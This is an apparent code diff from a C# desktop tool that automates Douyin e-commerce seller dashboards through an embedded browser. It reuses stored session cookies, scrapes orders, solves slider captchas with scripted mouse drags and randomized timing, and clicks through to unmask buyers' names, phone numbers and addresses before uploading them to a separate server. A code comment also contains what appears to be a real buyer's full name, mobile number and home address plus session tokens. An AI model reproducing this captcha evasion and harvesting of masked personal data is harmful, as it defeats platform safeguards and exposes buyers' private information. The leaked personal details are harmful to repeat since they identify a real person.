BaseClass.ALUid = (cb1688BuyUser.SelectedItem as ComboboxItem).Value.ToString(); + new ALBuyUser().SetAL(BaseClass.ALUid, 3); + + buyBrower.webUrl = "https://work.1688.com/home/buyer.htm?_path_=buyer2017Base/2017buyerbase_trade/buyList&spm=a262jm.9273823.wkalibar.d8.5d884aadnN1j9G"; + buyBrower.Show(); + buyBrower.BuyBrower_Load(null, null); + return; + } + buyBrower.webUrl = "https://work.1688.com/home/buyer.htm?_path_=buyer2017Base/2017buyerbase_trade/buyList&spm=a262jm.9273823.wkalibar.d8.5d884aadnN1j9G"; + buyBrower.Show(); + buyBrower.BuyBrower_Load(null, null); + break; + case "订单查询": + var controls = splitMain.Panel2.Controls.Cast().ToList(); + for (int i = 0; i < controls.Count; i++) + { + if (controls[i] is Form) + { + if (controls[i] == buyOrderListForm) + { + // 刷新并从服务端获取要搜索的数据 + buyOrderListForm.RefreshPage(1); + return; + } + if (controls[i] == sendOrderForms) + break; + } + } + txtSearch.Text = txtSearch.Text.Replace(" ", ""); + bool sendorder = sendOrderForms?.SelectOrder(txtSearch.Text) == true; + bool successorder = successOrderListForm?.SelectOrder(txtSearch.Text) == true; + bool afterSaleOrder = afterSaleOrderListForm?.SelectOrder(txtSearch.Text) == true; + //if (sendorder) + //{ + // pnlMenu_Click(pnlWaitingDeliverGoods, null); + //} + //if (successorder) + //{ + // pnlMenu_Click(pnlSuccess, null); + //} + //if (afterSaleOrder) + //{ + // pnlMenu_Click(pnlAfterSale, null); + //} + break; + } + } + + + #region cef模拟订单 + + void ReadOrderCef() + { + Task.Run(() => + { + foreach (DouShopLoginInfo shop in CollectionClass.DouShopLoginList) + { + string url = "https://fxg.jinritemai.com/ffa/morder/order/list"; + if (shop.LoginStatus == "登录成功") + { + Invoke(new Action(() => + { + isCefLoad = false; + currentCefReadOrderPage = 0; + + if (cefWebBrowser == null) + { + cefWebBrowser = CEFBrowser.CreateChromiumWebBrowser(url, false); + Helper.CustomResourceRequestHandler resourceRequestHandler = new Helper.CustomResourceRequestHandler(); + resourceRequestHandler.ResourceLoadCompleteEvent += RequestHandler_ResourceLoadComplete; + cefWebBrowser.RequestHandler = new CustomRequestHandler(resourceRequestHandler); + cefWebBrowser.KeyboardHandler = new KeyboardHandler(); + cefWebBrowser.AddressChanged += CefWebBrowser_AddressChanged; + cefWebBrowser.FrameLoadEnd += CefWebBrowser_FrameLoadEnd; + cefWebBrowser.Dock = DockStyle.Fill; + var t = CEFBrowser.SetCookieAsync("jinritemai.com", shop.Cookies, cefWebBrowser.RequestContext.GetCookieManager(null)); + splitMain.Panel2.Controls.Add(cefWebBrowser); + cefWebBrowser.SendToBack(); + //cefWebBrowser.BringToFront(); + } + else + { + CEFBrowser.DeleteCookie(cefWebBrowser.RequestContext.GetCookieManager(null)); + CEFBrowser.SetCookieAsync("jinritemai.com", shop.Cookies, cefWebBrowser.RequestContext.GetCookieManager(null)); + cefWebBrowser.Load(url); + } + })); + + for (int i = 0; i < 100; i++) + { + Thread.Sleep(500); + if (isCefLoad) + { + Thread.Sleep(Randomx.GetId(8000, 9000)); + //var jsStr = "document.getElementsByClassName('auxo-select-item-option')[3].click()"; + //jsStr = "function scrollWindow() { var t = document.body.clientHeight; window.scroll({ top: t, left: 0, behavior: 'smooth'});} scrollWindow();"; + + // 关闭提示框 + var jsStr = "function closeMask() {\r\n" + + "var box = document.getElementsByClassName('ant-modal-close-x')[0];" + + "if (box) box.click();" + + "}\r\n" + + "closeMask();\r\n"; + + var response = cefWebBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + response.Wait(1000); + Thread.Sleep(Randomx.GetId(1500, 2000)); + jsStr = "function closeGuide() {\r\n" + + " var box = document.getElementsByClassName('y-guide')[0];\r\n" + + " if (box) {\r\n" + + " while(box) {box.remove(); box = document.getElementsByClassName('y-guide')[0];}\r\n" + + " }\r\n" + + "}\r\n" + + "closeGuide();\r\n"; + var response2 = cefWebBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + response2.Wait(1000); + Thread.Sleep(Randomx.GetId(1500, 2000)); + + jsStr = "function scrollWindow() { var t = document.body.scrollHeight; window.scroll({ top: t, left: 0, behavior: 'smooth'});} scrollWindow();"; + //cefWebBrowser.GetMainFrame().ExecuteJavaScriptAsync("window.scrollTo(0, document.body.scrollHeight);"); + cefWebBrowser.GetMainFrame().ExecuteJavaScriptAsync(jsStr); + Thread.Sleep(Randomx.GetId(1500, 2000)); + ClickPageSelect(); + break; + } + } + + int time = 0; + while (true) + { + Thread.Sleep(1000); + time += 1; + if (currentCefReadOrderPage >= 999) + break; + if (time >= 60 && currentCefReadOrderPage == 0) + break; + } + } + } + }); + } + + List addressOrderIdList = new List(); + /// + /// Cef模拟获取订单隐私信息 + /// + /// + /// + public void GetRealAddressSim(DouShopLoginInfo shop, DouYinOrderModel order) + { + addressOrderIdList.Remove(order.order_id); + var url = "https://fxg.jinritemai.com/ffa/morder/order/detail?id=" + order.order_id; + if (shop.LoginStatus == "登录成功") + { + Invoke(new Action(() => + { + isCefLoad = false; + currentCefReadOrderPage = 0; + + if (cefWebBrowser == null) + { + cefWebBrowser = CEFBrowser.CreateChromiumWebBrowser(url, false); + Helper.CustomResourceRequestHandler resourceRequestHandler = new Helper.CustomResourceRequestHandler(); + resourceRequestHandler.ResourceLoadCompleteEvent += RequestHandler_ResourceLoadComplete; + cefWebBrowser.RequestHandler = new CustomRequestHandler(resourceRequestHandler); + cefWebBrowser.KeyboardHandler = new KeyboardHandler(); + cefWebBrowser.AddressChanged += CefWebBrowser_AddressChanged; + cefWebBrowser.FrameLoadEnd += CefWebBrowser_FrameLoadEnd; + cefWebBrowser.Dock = DockStyle.Fill; + var t = CEFBrowser.SetCookieAsync("jinritemai.com", shop.Cookies, cefWebBrowser.RequestContext.GetCookieManager(null)); + splitMain.Panel2.Controls.Add(cefWebBrowser); + cefWebBrowser.SendToBack(); + //cefWebBrowser.BringToFront(); + } + else + { + CEFBrowser.DeleteCookie(cefWebBrowser.RequestContext.GetCookieManager(null)); + CEFBrowser.SetCookieAsync("jinritemai.com", shop.Cookies, cefWebBrowser.RequestContext.GetCookieManager(null)); + cefWebBrowser.Load(url); + cefWebBrowser.SendToBack(); + //cefWebBrowser.BringToFront(); + } + })); + + bool isGet = false; + for (int i = 0; i < 100; i++) + { + Thread.Sleep(5000); + if (isCefLoad) + { + Thread.Sleep(Randomx.GetId(2000, 3000)); + + if (addressOrderIdList.Any(o => o == order.order_id)) + { + Invoke(new Action(() => + { + cefWebBrowser.SendToBack(); + })); + break; + } + + var verify_str = "function getImg() { return document.getElementById('captcha-verify-image').src; } getImg();"; + var response = cefWebBrowser.GetMainFrame().EvaluateScriptAsync(verify_str); + response.Wait(); + if (!string.IsNullOrEmpty(response.Result.Result?.ToString())) + { + Invoke(new Action(() => { cefWebBrowser.BringToFront(); })); + + #region 获取滑动验证码 + { + var imgUrl = response.Result.Result.ToString(); + + Bitmap bt = (Bitmap)GetHtml.LoadImage(imgUrl); + if (bt != null) + { + int Stopxt = 0; + int dragButtonWidth = 53; + //Stopxt = new Base64ChangeImgUrl().CalculateNick(bt, dragButtonWidth); + Thread.Sleep(500 + Randomx.GetId(1000)); + Stopxt = new Base64ChangeImgUrl().CalculateNickNew(bt, dragButtonWidth); + if (Stopxt > 0) + { + verify_str = "function getPos() { var box = document.getElementsByClassName('secsdk-captcha-drag-icon sc-kEYyzF fiQtnm')[0];" + + "if (box == null) return '0|0';" + + "var actualLeft = box.offsetLeft;" + + "var actualTop = box.offsetTop;" + + "var parent = box.offsetParent;" + + "while (parent !== null) { actualLeft += parent.offsetLeft; actualTop += parent.offsetTop; parent = parent.offsetParent; }" + + "return '' + actualLeft + '|' + actualTop;}" + + "getPos();"; + verify_str = "function getImgPos() { return document.getElementsByClassName('secsdk-captcha-drag-icon sc-kEYyzF fiQtnm')[0].getBoundingClientRect().left + '|' " + + " + document.getElementsByClassName('secsdk-captcha-drag-icon sc-kEYyzF fiQtnm')[0].getBoundingClientRect().top;} getImgPos();"; + response = cefWebBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(verify_str); + response.Wait(2000); + if (response.Result?.Result != null) + { + var xy = response.Result?.Result.ToString(); + var xyArr = xy.Split('|'); + if (xyArr.Length == 2) + { + try + { + int x = (int)Convert.ToDecimal(xyArr[0]) + 25; + int y = (int)Convert.ToDecimal(xyArr[1]) + 25; + + // 自动滑块图形验证 + //if (GlobalConfig.JDShopSettingParam.IsAutoDragLogin) + { + // 340 / 552 + CEFHelper.CefMouseDrag(cefWebBrowser, x, y, Convert.ToInt32((x + Stopxt * 0.6159m) - 5), y); + isGet = false; + Thread.Sleep(1000 + Randomx.GetId(1000)); + } + } + catch + { + } + } + } + Thread.Sleep(1000 + Randomx.GetId(1000)); + } + } + } + Thread.Sleep(1500 + Randomx.GetId(1000)); + #endregion + } + else + Invoke(new Action(() => + { + cefWebBrowser.SendToBack(); + })); + + if (isGet) + continue; + + //var child = document.body.firstElementChild; + //var element1 = null; + //while (child) + //{ + // if (child.innerHTML.indexOf('显示详情') >= 0) + // { + // element1 = child; + // if (child.firstElementChild) + // { + // child = child.firstElementChild; + // continue; + // } + // else + // { + // break; + // } + // } + // child = child.nextElementSibling; + //} + //console.log(element1); + //element1.click(); + // 点击调用解密 + var jsStr = "function clickShowAddress() {\r\n" + + "var child = document.body.firstElementChild;\r\n" + + "var element1 = null;\r\n" + + " while (child) {\r\n" + + " if (child.innerHTML.indexOf('显示详情') >= 0) {\r\n" + + " element1 = child;\r\n" + + " if (child.firstElementChild) {\r\n" + + " child = child.firstElementChild; continue;\r\n" + + " } else break;\r\n" + + " }\r\n" + + " child = child.nextElementSibling;\r\n" + + " }\r\n" + + " if (element1) {\r\n" + + " element1.click(); return 'success';\r\n" + + " } else return 'no_detail';\r\n" + + "}\r\n" + + "clickShowAddress();\r\n"; + + var t = cefWebBrowser.GetMainFrame().EvaluateScriptAsync(jsStr); + t.Wait(); + //if (t.Result.Result?.ToString() == "success" || t.Result.Result?.ToString() == "no_detail" ) + isGet = true; + } + } + } + } + + private void ClickPageSelect() + { + string code = "function getPos() { var box = document.getElementsByClassName('auxo-pagination-options-size-changer')[0];" + + " if (box == null) return '0|0';" + + " var pos = box.getBoundingClientRect();" + + " return '' + pos.left + '|' + pos.top;" + + "}" + + "getPos();"; + + var task = cefWebBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(code); + task.Wait(5000); + var result = task.Result.Result; + if (result != null && result.ToString() != "0|0") + { + var arr = result.ToString().Split('|'); + if (arr.Length == 2) + { + int x = (int)arr[0].ParseToDecimal(); + int y = (int)arr[1].ParseToDecimal(); + int x1 = x + 10 + new Random(DateTime.Now.Millisecond).Next(50); + int y1 = y + 10 + new Random(DateTime.Now.Millisecond).Next(10); + var host = cefWebBrowser.GetBrowser().GetHost(); + //host.SendFocusEvent(true); + host.SendMouseClickEvent(x1, y1, MouseButtonType.Left, false, 1, CefEventFlags.None); // 按下鼠标左键 + Thread.Sleep(70 + new Random(DateTime.Now.Millisecond).Next(50)); + host.SendMouseClickEvent(x1, y1, MouseButtonType.Left, true, 1, CefEventFlags.None); // 松开鼠标左键 + Thread.Sleep(500 + new Random(DateTime.Now.Millisecond).Next(500)); + } + } + + Thread.Sleep(Randomx.GetId(1000, 3000)); + var jsStr = "document.getElementsByClassName('auxo-select-item-option')[1].click()"; + cefWebBrowser.GetMainFrame().ExecuteJavaScriptAsync(jsStr); + } + + private void CefWebBrowser_FrameLoadEnd(object sender, FrameLoadEndEventArgs e) + { + isCefLoad = true; + } + + private void RequestHandler_ResourceLoadComplete(object sender, string url, string postData, string responseData) + { + if (responseData.Contains("post_receiver")) + { + + } + //https://mcs.snssdk.com/v1/list [{"events":[{"event":"auto_click","params":"{\"_staging_flag\":0,\"future\":\"shangjia\",\"shop_id\":\"20445141\",\"is_cross_border\":0,\"biz_type\":4,\"shop_name\":\"优选百货厂家\",\"common_shop_type\":0,\"toutiao_id\":\"106022019533566\",\"v_type\":41,\"total_reduce\":-52500,\"quit_status\":0,\"store_type\":0,\"sub_toutiao_id\":\"\",\"release\":\"4d20a8de4a\",\"smallflow\":[],\"is_login\":1,\"sub_app_id\":\"morder\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36\",\"version\":\"1.0.0.5409\",\"canary\":\"0\",\"slardar_session_id\":\"e6295f0e-fa20-4218-ab8f-1d02d35bd818\",\"pid\":\"/ffa/morder/order/detail\",\"path\":\"/ffa/morder/order/detail\",\"url\":\"https://fxg.jinritemai.com/ffa/morder/order/detail?id=4851912086293436335\",\"page_name\":\"订单详情\",\"event_name\":\"auto_dom\",\"type\":\"click\",\"data\":{},\"containers\":[\"内容区域\"],\"mouse_x\":1201,\"mouse_y\":564,\"viewport_width\":1319,\"viewport_height\":485,\"text\":\"view\",\"tagName\":\"SPAN\",\"session\":{},\"event_index\":1633777345067}","local_time_ms":1633776441924,"is_bav":1,"ab_sdk_version":"","session_id":"4b5fdfa5-0c71-44c5-8037-d73711bbc02b"}],"user":{"user_unique_id":"106022019533566","web_id":"7017016174879229477","ssid":"2d661692-709c-4846-a647-f6165f2618e1"},"header":{"app_id":1215,"os_name":"windows","os_version":"10","device_model":"Windows NT 10.0","language":"zh-CN","platform":"web","sdk_version":"4.1.41","timezone":8,"tz_offset":-28800,"resolution":"1920x1080","browser":"Chrome","browser_version":"72.0.3626.121","referrer":"","referrer_host":"","width":1920,"height":1080,"screen_width":1920,"screen_height":1080,"custom":"{\"token\":\"doudian_web\",\"cdid\":\"20445141\"}"},"local_time":1633776441}] + //https://fxg.jinritemai.com/api/order/receiveinfo?come_from=pc&aid=4272&order_id=4851912086293436335&appid=1&__token=8e78e1c73557ba7a579c9fd00b130542&_bid=ffa_order&_lid=764419278836&_signature=_02B4Z6wo00901yIp5nAAAIDA6pUvbnenSIciLeLAAKn1g1DamF6p9muTMTFh1GmDf5Dhij.ExzrHMLBIwFbmyJuRTRjsY2g8Bj5yy6eKLqun0pW74HZtygbWDCtFpmPDHu4Z7nmgcnjNvstLff {"errno":0,"st":0,"msg":"","code":0,"data":{"verify_type":"","verify_params":null,"is_send":0,"receive_info":{"post_receiver":"董雨朦","post_tel":"18761791742","post_addr":{"province":{"name":"江苏省","id":"320000","has_child":false},"city":{"name":"南通市","id":"320600","has_child":false},"town":{"name":"南通经济技术开发区","id":"320671","has_child":false},"street":{"name":"","id":"","has_child":false},"detail":"小海海棠花园13栋405室"},"buyer_words":"","can_view":2,"is_show_edit_address":true},"pre_receive_info":null,"nick_name":"萌萌朦朦"},"page":0,"total":0,"size":0} + // 模拟解密获取到网页中传过来的数值 + if (url.StartsWith("https://fxg.jinritemai.com/api/order/receiveinfo") && url.Contains("order_id=") && responseData.Contains("\"verify_type\":\"\"")) + { + try + { + var orderId = BaseRegex.GetMatchRegexString(ref url, "order_id=(\\d{8,26})"); // url.Substring(url.IndexOf(("order_id="))); + addressOrderIdList.Add(orderId); + + var orderFrom = "sendOrder"; + DouYinOrderModel douYinOrderModel = CollectionClass.orderSenderDataList.Find(x => x.order_id == orderId); + if (douYinOrderModel == null) + { + orderFrom = "buyOrder"; + douYinOrderModel = CollectionClass.orderDataList.Find(x => x.order_id == orderId); + } + if (douYinOrderModel == null) + return; + + string expname = BaseRegex.GetStringJson(ref responseData, "post_receiver"); + string expmobile = BaseRegex.GetStringJson(ref responseData, "post_tel"); + + var jObj = JObject.Parse(responseData); + string province = jObj["data"]["receive_info"]["post_addr"]["province"]["name"].ToString(); // 省 + string city = jObj["data"]["receive_info"]["post_addr"]["city"]["name"].ToString(); // 市 + string town = jObj["data"]["receive_info"]["post_addr"]["town"]["name"].ToString(); // 区 + string street = jObj["data"]["receive_info"]["post_addr"]["street"]["name"].ToString(); // 街道 + string detailAddress = jObj["data"]["receive_info"]["post_addr"]["detail"].ToString(); // 详细地址 + var expaddress = province + city + town + street + detailAddress; + + douYinOrderModel.name = expname; + douYinOrderModel.mobile = expmobile; + douYinOrderModel.address = expaddress; + + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + douYinOrderModel.order_id); + sb.Append("&name=" + GetHtml.UrlEncodeUtf8(expname)); + sb.Append("&mobile=" + GetHtml.UrlEncodeUtf8(expmobile)); + sb.Append("&address=" + GetHtml.UrlEncodeUtf8(expaddress)); + if (!string.IsNullOrEmpty(expmobile)) + { + sb.Append("&decrypt_status=1"); + } + sb.Append("&is_update_order=0");//1修改状态0不修改状态 + string updateUrl = BaseClass.DouYinBuildObjString("order&act=update"); + string htmjg = GetHtml.PostUtf8(updateUrl, UserLogin.GetSignaturex() + sb.ToString()); + + if (orderFrom == "sendOrder") + sendOrderForms.SetOrderEditShowInDgvRows(douYinOrderModel, 1); + else + buyOrderListForm.SetOrderEditShowInDgvRows(douYinOrderModel, 1); + + buyOrderListForm.decyes(); + } + catch { }; + } + // 模拟读取订单 + if (url.StartsWith("https://fxg.jinritemai.com/api/order/searchlist?tab=")) + { + if (url.Contains("pageSize=20&")) + { + Task.Run(() => + { + var _url = url; + var post_data = postData; + var response_data = responseData; + var cookie = CEFBrowser.GetCookie("", cefWebBrowser.GetCookieManager()); + var passport_csrf_token = BaseRegex.GetMatchRegexString(ref cookie, "passport_csrf_token=([\\s\\S]+?);"); + var shop = CollectionClass.DouShopLoginList.FirstOrDefault(s => s.Cookies.Contains(passport_csrf_token)); + if (shop != null && response_data.Contains("\"st\":0") && response_data.Contains("\"data\":")) + { + JObject jObj = JObject.Parse(response_data); + int page = jObj["page"].ParseToInt(); + int total = jObj["total"].ParseToInt(); + currentCefReadOrderPage = page + 1; + foreach (JObject jOrderObj in jObj["data"]) + { + if (jOrderObj["order_status_info"]["order_status_text"].ToString() != "备货中") + { + break; + } + DouYinOrderModel dyOrder = new DouYinOrderModel(); + DouOrderListInfo.Shop_order_listItem orderListItem = new DouOrderListInfo.Shop_order_listItem(); + orderListItem.order_id = jOrderObj["shop_order_id"].ToString(); + orderListItem.shop_id = shop.ShopId.ParseToInt(); + orderListItem.shop_name = shop.ShopName; + orderListItem.post_tel = jOrderObj["receiver_info"]["post_tel"].ToString(); + orderListItem.productName = jOrderObj["product_item"][0]["product_name"].ToString(); + orderListItem.post_receiver = jOrderObj["receiver_info"]["post_receiver"].ToString(); + DouOrderListInfo.Post_addr addr = new DouOrderListInfo.Post_addr(); + addr.province = new DouOrderListInfo.Province(); + addr.province.name = jOrderObj["receiver_info"]["post_addr"]["province"]["name"].ToString(); + addr.province.id = jOrderObj["receiver_info"]["post_addr"]["province"]["id"].ToString(); + + addr.city = new DouOrderListInfo.City(); + addr.city.name = jOrderObj["receiver_info"]["post_addr"]["city"]["name"].ToString(); + addr.city.id = jOrderObj["receiver_info"]["post_addr"]["city"]["id"].ToString(); + + addr.town = new DouOrderListInfo.Town(); + addr.town.name = jOrderObj["receiver_info"]["post_addr"]["town"]["name"].ToString(); + addr.town.id = jOrderObj["receiver_info"]["post_addr"]["town"]["id"].ToString(); + + addr.street = new DouOrderListInfo.Street(); + addr.street.name = jOrderObj["receiver_info"]["post_addr"]["street"]["name"].ToString(); + addr.street.id = jOrderObj["receiver_info"]["post_addr"]["street"]["id"].ToString(); + + addr.detail = jOrderObj["receiver_info"]["post_addr"]["detail"].ToString(); + + orderListItem.post_addr = addr; + // todo: 根据 ****response_data**** 所包含的地址信息 读取收件人 收件地址 收件手机号 和 买家昵称 买家账号 等 + + orderListItem.sku_order_list = new List(); + foreach (JObject jSkuObj in jOrderObj["product_item"]) + { + DouOrderListInfo.Sku_order_listItem skuOrderItem = new DouOrderListInfo.Sku_order_listItem(); + skuOrderItem.order_id = jSkuObj["item_order_id"].ToString(); + skuOrderItem.product_id = jSkuObj["product_id"].ParseToLong(); + skuOrderItem.product_name = jSkuObj["product_name"].ParseToString(); + skuOrderItem.order_status = jSkuObj["order_status"].ParseToInt(); + + skuOrderItem.spec = new List(); + foreach (JObject jSpecObj in jSkuObj["sku_spec"]) + { + DouOrderListInfo.SpecItem spec = new DouOrderListInfo.SpecItem(); + spec.name = jSpecObj["name"].ToString(); + spec.value = jSpecObj["value"].ToString(); + skuOrderItem.spec.Add(spec); + } + + skuOrderItem.product_pic = jSkuObj["img"].ParseToString(); + skuOrderItem.item_num = jSkuObj["combo_num"].ParseToInt(); + skuOrderItem.pay_amount = jSkuObj["combo_amount"].ParseToInt(); + skuOrderItem.create_time = jOrderObj["create_time"].ParseToInt(); + var cTime = new DateTime(1970, 1, 1, 8, 0, 0).AddSeconds(skuOrderItem.create_time); + if (cTime < DateTime.Now.Date.AddDays(-1) || (page + 1) * 20 >= total) + { + currentCefReadOrderPage = 999; + return; + } + if (skuOrderItem.order_status != 2) + continue; + + orderListItem.sku_order_list.Add(skuOrderItem); + } + //if (!CollectionClass.orderDataList_Temp.Any(o => o.order_id == orderListItem.order_id)) + CollectionClass.orderDataList_Temp.Add(orderListItem); + //Invoke(new Action(() => + //{ + // buyOrderListForm.SetRows(); + //})); + } + + if ((jObj["data"] as JArray).Count < 20) + currentCefReadOrderPage = 999; + else + { + Thread.Sleep(Randomx.GetId(1500, 2000)); + var jsStr = "function scrollWindow() { var t = document.body.scrollHeight; window.scroll({ top: t, left: 0, behavior: 'smooth'});} scrollWindow();"; + cefWebBrowser.GetMainFrame().ExecuteJavaScriptAsync(jsStr); + + Thread.Sleep(Randomx.GetId(1500, 4000)); + jsStr = "document.getElementsByClassName('auxo-pagination-next')[0].click()"; + cefWebBrowser.GetMainFrame().ExecuteJavaScriptAsync(jsStr); + } + } + }); + } + } + } + private void CefWebBrowser_AddressChanged(object sender, CefSharp.AddressChangedEventArgs e) + { + Invoke(new Action(() => + { + //currentUrl = e.Address; + //txtAddress.Text = e.Address; + })); + } + + #endregion + + + #region cef模拟读巨量百应佣金率 + private ChromiumWebBrowser cefJuLiangWebBrowser = null; + bool isJuLiangLoadEnd = false; + DouYinOrderModel cos_ratio_order_Model = null; + public void ReadJuLiangCef() + { + Task.Run(() => + { + //string url = BaseClass.DouYinBuildObjString("user_login_cookies&act=douyin_buy_in_get"); + //string htmlsss = GetHtml.PostUtf8(url, UserLogin.GetSignaturex()); + //if (htmlsss != "") + //{ + // if (JObject.Parse(htmlsss)["code"].ToString() == "200") + // { + // var jArrJM = JObject.Parse(htmlsss)["data"]; + // foreach (var itemjm in jArrJM) + // { + // BaseClass.baiyincookies = JObject.Parse(itemjm.ToString())["cookies"].ToString(); + // break; + // } + // } + //} + //if (BaseClass.baiyincookies == "") + //{ + // return; + //} + + + string url = "https://buyin.jinritemai.com/dashboard/activity/common-plan"; + Invoke(new Action(() => + { + isCefLoad = false; + if (cefJuLiangWebBrowser == null) + { + cefJuLiangWebBrowser = CEFBrowser.CreateChromiumWebBrowser(url, false); + + Helper.CustomResourceRequestHandler resourceRequestHandler = new Helper.CustomResourceRequestHandler(); + resourceRequestHandler.ResourceLoadCompleteEvent += JuLiangRequestHandler_ResourceLoadComplete; + cefJuLiangWebBrowser.RequestHandler = new CustomRequestHandler(resourceRequestHandler); + cefJuLiangWebBrowser.KeyboardHandler = new KeyboardHandler(); + cefJuLiangWebBrowser.AddressChanged += CefJuLiangWebBrowser_AddressChanged; + cefJuLiangWebBrowser.FrameLoadEnd += CefJuLiangWebBrowser_FrameLoadEnd; + cefJuLiangWebBrowser.Dock = DockStyle.Fill; + var t = CEFBrowser.SetCookieAsync("jinritemai.com", BaseClass.baiyincookies, cefJuLiangWebBrowser.RequestContext.GetCookieManager(null)); + splitMain.Panel2.Controls.Add(cefJuLiangWebBrowser); + cefJuLiangWebBrowser.SendToBack(); + //cefJuLiangWebBrowser.BringToFront(); + } + else + { + CEFBrowser.DeleteCookie(cefJuLiangWebBrowser.RequestContext.GetCookieManager(null)); + Thread.Sleep(500); + var t = CEFBrowser.SetCookieAsync("jinritemai.com", BaseClass.baiyincookies, cefJuLiangWebBrowser.RequestContext.GetCookieManager(null)); + t.Wait(5000); + cefJuLiangWebBrowser.Load(url); + } + })); + + //Thread.Sleep(15000); + while (true) + { + Thread.Sleep(5000); + if (BaseClass.is_read_commission == 1) { continue; } + try + { + List listbuyin = CollectionClass.orderDataList.FindAll(x => string.IsNullOrEmpty(x.commission_scale) || x.commission_scale == "0" || x.commission_scale == "0.00" + || Math.Abs(Math.Round((x.commission_scale.ParseToDecimal() * x.price.ParseToDecimal()) - x.commission.ParseToDecimal(), 3)) >= 0.01M); + List listsendbuyin = CollectionClass.orderSenderDataList.FindAll(x => string.IsNullOrEmpty(x.commission_scale) || x.commission_scale == "0" || x.commission_scale == "0.00" + || Math.Abs(Math.Round((x.commission_scale.ParseToDecimal() * x.price.ParseToDecimal()) - x.commission.ParseToDecimal(), 3)) >= 0.01M); + //var lstbuyin_自卖 = CollectionClass.orderDataList.FindAll(x => x.c_biz_desc.Contains("小店自卖")); + //var lstsendbuyin_自卖 = CollectionClass.orderSenderDataList.FindAll(x => x.c_biz_desc.Contains("小店自卖")); + //需要获取佣金的订单集合 + listbuyin = listbuyin.Concat(listsendbuyin).ToList();//.FindAll(l => l.c_biz_desc.Contains("小店自卖") == false); + //订单中有哪几个店铺 + List onelist = listbuyin.GroupBy(c => c.shop_id).Select(c => c.First()).ToList(); + foreach (DouYinOrderModel getOrderShop in onelist) + { + if (BaseClass.is_read_commission == 1) { break; } + DouShopLoginInfo shop = CollectionClass.DouShopLoginList.Find(x => x.ShopId == getOrderShop.shop_id.ToString()); + if (shop != null && !string.IsNullOrEmpty(shop.Cookies)) + { + var td = CEFBrowser.DeleteCookieAsync(cefJuLiangWebBrowser.RequestContext.GetCookieManager(null)); + td.Wait(5000); + var t = CEFBrowser.SetCookieAsync("jinritemai.com", shop.Cookies, cefJuLiangWebBrowser.RequestContext.GetCookieManager(null)); + t.Wait(5000); + cefJuLiangWebBrowser.Load(url); + Thread.Sleep(30000); + //载入 + for (int i = 0; i < listbuyin.Count; i++) + { + if (BaseClass.is_read_commission == 1) { break; } + DouYinOrderModel dymodel = listbuyin[i]; + if (isJuLiangLoadEnd && dymodel != null) + { + int dian = new Random().Next(2000, 4000); + Thread.Sleep(dian); + string script = ""; + // 重置搜索框 + //search-form__reset-btn + script = " var cbreset = document.getElementsByClassName('search-form__reset-btn');for (var i = 0; i + // { + // try + // { + // //string file = ""; + // //if (Clipboard.GetFileDropList().Count > 0) + // //{ + // // file = Clipboard.GetFileDropList()[0]; + // //} + // //MyClip.saveClip(); + // //Clipboard.SetDataObject(""); + // //Clipboard.SetText(dymodel.product_id); + + // ////文本框获取焦点 + // //script = "function test(){document.getElementById('product_info').focus();};test(); "; + // //cefJuLiangWebBrowser.GetMainFrame().ExecuteJavaScriptAsync(script); + // //host.SendKeyEvent(new CefSharp.KeyEvent() { WindowsKeyCode = 86, Type = KeyEventType.RawKeyDown, Modifiers = CefEventFlags.ControlDown }); + // //Thread.Sleep(150); + // //if (!string.IsNullOrEmpty(file)) + // //{ + // // System.Collections.Specialized.StringCollection files = new System.Collections.Specialized.StringCollection(); + // // files.Add(file); + // // Clipboard.SetFileDropList(files); + // //} + // //else + // //{ + // // MyClip.restoreClip(); + // //} + // } + // catch (Exception) + // { + // } + // })); + //} + //catch (Exception ex) + //{ + //} + + //点击搜索 + script = "var button = document.getElementsByTagName('button');" + + "for(var i=0;i taskHtml = cefJuLiangWebBrowser.GetBrowser().MainFrame.GetSourceAsync(); + string response = taskHtml.Result; + int procount = response.Split(new string[] { "
" }, StringSplitOptions.None).Length - 1; + if (procount == 0) + { + procount = response.Split(new string[] { "ant-table-row ant-table-row-level-0 row-vertical-top" }, StringSplitOptions.None).Length - 1; + } + + if (procount == 1) + { + string goodsCard__wrapper = BaseRegex.GetMatchRegexString(ref response, "
[\\s\\S]+?>([\\s\\S]+?)
"); + if (string.IsNullOrEmpty(goodsCard__wrapper)) + { + + } + string str = BaseRegex.ClearHtml(goodsCard__wrapper); + string xiaoshou = BaseRegex.GetMatchRegexString(ref str, "¥(?\\d+\\.\\d+)月售"); + string yongjin = BaseRegex.GetMatchRegexString(ref str, "赚¥(?\\d+\\.\\d+)"); + double bili = Math.Round(Convert.ToDouble(yongjin) / Convert.ToDouble(xiaoshou), 2); + if (double.IsNaN(bili)) + { + var biliStr = BaseRegex.GetMatchRegexString(ref response, "price__main\">(\\d{1,2})%<"); + if (!string.IsNullOrEmpty(biliStr)) + { + bili = biliStr.ParseToDouble() / 100; + } + else + bili = 0; + } + + //dymodel.commission = Math.Round((Convert.ToDouble(dymodel.price) * bili), 2).ToString(); + //dymodel.commission_scale = bili.ToString(); + + // 商品相同一起更新 + var sameProductOrder = listbuyin.Where(l => l.product_id == dymodel.product_id && l.sku == dymodel.sku).ToList(); + foreach (var orderModel in sameProductOrder) + { + orderModel.commission = Math.Round((Convert.ToDouble(orderModel.price) * bili), 2).ToString(); + orderModel.commission_scale = bili.ToString(); + + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + orderModel.order_id); + sb.Append("&commission=" + orderModel.commission);//佣金 + sb.Append("&commission_scale=" + orderModel.commission_scale);//佣金比例 + var urlx = BaseClass.DouYinBuildObjString("order&act=update"); + GetHtml.PostUtf8(urlx, UserLogin.GetSignaturex() + sb.ToString()); + Thread.Sleep(500); + + if (orderModel.order_status_buy == 1) + { + buyOrderListForm.SetOrderEditShowInDgvRows(orderModel, 3); + } + else + { + sendOrderForms.SetOrderEditShowInDgvRows(orderModel, 3); + } + listbuyin.Remove(orderModel); + } + } + + string scriptclick = "document.getElementsByClassName('anticon-close-circle')[0].click();"; + cefJuLiangWebBrowser.GetMainFrame().ExecuteJavaScriptAsync(scriptclick); + + 